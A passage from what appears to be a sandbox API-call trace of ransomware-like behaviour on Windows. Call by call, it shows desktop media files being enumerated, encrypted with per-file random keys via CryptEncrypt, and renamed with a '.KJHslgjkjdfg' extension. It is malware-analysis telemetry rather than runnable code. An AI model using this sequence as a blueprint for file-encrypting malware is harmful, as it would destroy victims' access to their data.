out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.397] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.397] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.397] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.397] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9867, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x9867, lpOverlapped=0x0) returned 1 [0144.398] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x9870, dwBufLen=0x9870 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x9870) returned 1 [0144.399] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.399] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x9870, lpOverlapped=0x0) returned 1 [0144.399] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.399] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x9954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.399] SetEndOfFile (hFile=0xc0) returned 1 [0144.401] GetProcessHeap () returned 0x990000 [0144.401] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.401] GetProcessHeap () returned 0x990000 [0144.401] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RGa-ut-OR8lIVLmg.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rga-ut-or8livlmg.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RGa-ut-OR8lIVLmg.ots.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rga-ut-or8livlmg.ots.kjhslgjkjdfg")) returned 1 [0144.408] CloseHandle (hObject=0xc0) returned 1 [0144.408] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd318c340, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xc3ff3b0, ftLastAccessTime.dwHighDateTime=0x1d5d94b, ftLastWriteTime.dwLowDateTime=0xc3ff3b0, ftLastWriteTime.dwHighDateTime=0x1d5d94b, nFileSizeHigh=0x0, nFileSizeLow=0x160e6, dwReserved0=0x0, dwReserved1=0xffff, cFileName="svmg qy0T.mp4", cAlternateFileName="SVMGQY~1.MP4")) returned 1 [0144.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svmg qy0T.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svmg qy0t.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.408] GetProcessHeap () returned 0x990000 [0144.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.408] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.408] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.409] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xa, lpOverlapped=0x0) returned 1 [0144.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.412] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.412] GetProcessHeap () returned 0x990000 [0144.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.413] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0144.413] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.413] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0144.413] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.413] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.413] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.413] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.413] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.413] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.413] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.413] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x160e6, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x160e6, lpOverlapped=0x0) returned 1 [0144.428] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x160f0, dwBufLen=0x160f0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x160f0) returned 1 [0144.429] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.429] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x160f0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x160f0, lpOverlapped=0x0) returned 1 [0144.432] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.432] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x161c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.432] SetEndOfFile (hFile=0xc0) returned 1 [0144.435] GetProcessHeap () returned 0x990000 [0144.435] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.435] GetProcessHeap () returned 0x990000 [0144.435] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svmg qy0T.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svmg qy0t.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svmg qy0T.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svmg qy0t.mp4.kjhslgjkjdfg")) returned 1 [0144.445] CloseHandle (hObject=0xc0) returned 1 [0144.445] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369caa40, ftCreationTime.dwHighDateTime=0x1d5dc57, ftLastAccessTime.dwLowDateTime=0xdd86cd00, ftLastAccessTime.dwHighDateTime=0x1d5dac1, ftLastWriteTime.dwLowDateTime=0xdd86cd00, ftLastWriteTime.dwHighDateTime=0x1d5dac1, nFileSizeHigh=0x0, nFileSizeLow=0xda77, dwReserved0=0x0, dwReserved1=0xffff, cFileName="TkYKvh.gif", cAlternateFileName="")) returned 1 [0144.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TkYKvh.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tkykvh.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.445] GetProcessHeap () returned 0x990000 [0144.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.445] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.445] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.446] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x9, lpOverlapped=0x0) returned 1 [0144.448] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.448] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.448] GetProcessHeap () returned 0x990000 [0144.448] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.448] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30) returned 1 [0144.448] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.449] WriteFile (in: hFile=0xc0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfc90*=0x30, lpOverlapped=0x0) returned 1 [0144.449] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.449] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.449] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.449] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.449] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.450] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.450] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.450] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xda77, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0xda77, lpOverlapped=0x0) returned 1 [0144.450] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xda80, dwBufLen=0xda80 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xda80) returned 1 [0144.452] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.452] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xda80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0xda80, lpOverlapped=0x0) returned 1 [0144.452] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.452] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xdb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.452] SetEndOfFile (hFile=0xc0) returned 1 [0144.458] GetProcessHeap () returned 0x990000 [0144.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.458] GetProcessHeap () returned 0x990000 [0144.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TkYKvh.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tkykvh.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TkYKvh.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tkykvh.gif.kjhslgjkjdfg")) returned 1 [0144.460] CloseHandle (hObject=0xc0) returned 1 [0144.461] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f52a00, ftCreationTime.dwHighDateTime=0x1d5d8b5, ftLastAccessTime.dwLowDateTime=0x48a2a980, ftLastAccessTime.dwHighDateTime=0x1d5e5ec, ftLastWriteTime.dwLowDateTime=0x48a2a980, ftLastWriteTime.dwHighDateTime=0x1d5e5ec, nFileSizeHigh=0x0, nFileSizeLow=0x69c0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Ut5RdHjyVv8BR8d k1.avi", cAlternateFileName="UT5RDH~1.AVI")) returned 1 [0144.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ut5RdHjyVv8BR8d k1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ut5rdhjyvv8br8d k1.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.461] GetProcessHeap () returned 0x990000 [0144.461] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.461] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.461] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.461] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.461] GetProcessHeap () returned 0x990000 [0144.461] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.461] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.462] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.462] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.471] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.471] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.471] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.472] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.472] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.472] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.472] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.472] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x69c0, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x69c0, lpOverlapped=0x0) returned 1 [0144.475] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x69c0, dwBufLen=0x69c0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x69c0) returned 1 [0144.475] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.475] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x69c0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x69c0, lpOverlapped=0x0) returned 1 [0144.475] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.476] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x6aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.476] SetEndOfFile (hFile=0xc0) returned 1 [0144.479] GetProcessHeap () returned 0x990000 [0144.479] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.479] GetProcessHeap () returned 0x990000 [0144.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.480] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ut5RdHjyVv8BR8d k1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ut5rdhjyvv8br8d k1.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ut5RdHjyVv8BR8d k1.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ut5rdhjyvv8br8d k1.avi.kjhslgjkjdfg")) returned 1 [0144.485] CloseHandle (hObject=0xc0) returned 1 [0144.485] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x417b4fc0, ftCreationTime.dwHighDateTime=0x1d5e3af, ftLastAccessTime.dwLowDateTime=0x6b64fe30, ftLastAccessTime.dwHighDateTime=0x1d5da4f, ftLastWriteTime.dwLowDateTime=0x6b64fe30, ftLastWriteTime.dwHighDateTime=0x1d5da4f, nFileSizeHigh=0x0, nFileSizeLow=0x131e1, dwReserved0=0x0, dwReserved1=0xffff, cFileName="vZuDrn3oODi2.gif", cAlternateFileName="VZUDRN~1.GIF")) returned 1 [0144.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vZuDrn3oODi2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzudrn3oodi2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.485] GetProcessHeap () returned 0x990000 [0144.485] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.485] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.486] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.486] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xf, lpOverlapped=0x0) returned 1 [0144.487] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.487] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.487] GetProcessHeap () returned 0x990000 [0144.487] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.487] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0144.487] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.487] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0144.487] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.487] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.487] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.488] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.488] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.488] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.488] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.488] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.488] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x131e1, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x131e1, lpOverlapped=0x0) returned 1 